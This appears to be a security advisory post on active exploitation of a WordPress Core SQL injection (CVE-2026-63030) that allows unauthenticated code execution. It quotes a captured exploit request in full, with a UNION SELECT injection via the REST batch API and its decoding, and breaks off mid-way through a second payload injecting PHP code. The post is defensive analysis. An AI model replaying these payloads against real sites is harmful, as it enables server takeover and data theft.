WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th)

Last week, Searchlight Cyber released details about a vulnerability they are calling wp2shell . The vulnerability was initially announced without a CVE number. But now has been assigned CVE-2026-63030. Many WordPress plugin vulnerabilities are never assigned CVE numbers. But wp2shell is different. It is a SQL injection vulnerability in WordPress Core, not a plugin, and can lead to unauthenticated remote code execution. Shortly after being announced, the vulnerability started to be exploited. If you are running WordPress, stop reading now. Check if you are vulnerable at https://wp2shell.com . Assume compromise if you are vulnerable. The exploit attempts hitting our honeypots are designed to detect the vulnerability, and do not deliver a functional exploit. But one of our readers submitted a complete exploit request captured by SecurityOnion: POST /?rest_route=/batch/v1 HTTP/1.1 Accept-Encoding: identity Content-Length: 735 Host: [hostname redacted]:8888 Content-Type: application/json User-Agent: cve-2026-63030/1.0 Connection: close { requests : [{ method : POST , path : /// }, { method : POST , path : /wp/v2/posts , body : { requests : [{ method : POST , path : /// }, { method : GET , path : /wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+- orderby=none per_page=500 }, { method : GET , path : /wp/v2/posts }]}}, { method : POST , path : /batch/v1 , body : { requests : []}}]} The vulnerability is exploited via the REST API, and in order to be exploitable, a WordPress install must expose the API. The exploit follows standard SQL injection patterns. It uses a UNION request to execute a second SELECT statement. The second SELECT query decodes to: SELECT 999999,2,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,5,CONCAT(0x7c7c,HEX(CAST((SELECT 0x4f4b)AS CHAR)),0x7c7c),7,0x7075626c697368,9,10,11,12,13,14,0x323032302d30312d30312030303a30303a3030,0x323032302d30312d30312030303a30303a3030,17,18,19,20,0x706f7374,22,23 Decoding the HEX part: SELECT 999999,2,'2020-01-01 00:00:00', ' 2020-01-01 00:00:00', 5, '||OK||', 7, 'publish', 9,10,11,12,13,14,'2020-01-01 00:00:00','2020-01-01 00:00:00',17,18,19,20,'post',22,23 This is a query to determine whether the system is vulnerable to SQL injection. The next query delivers the actual exploit: { requests :[{ method : POST , path : /// },{ body :{ requests :[{ method : POST , path : /// },{ method : GET , path : /wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+%27%3C%3Fphp+error_reporting%280%29%3B%40ini_set%28%5C%27display_errors%5C%27%2C0%29%3B%24k%3D%2294uh9ubh6e1x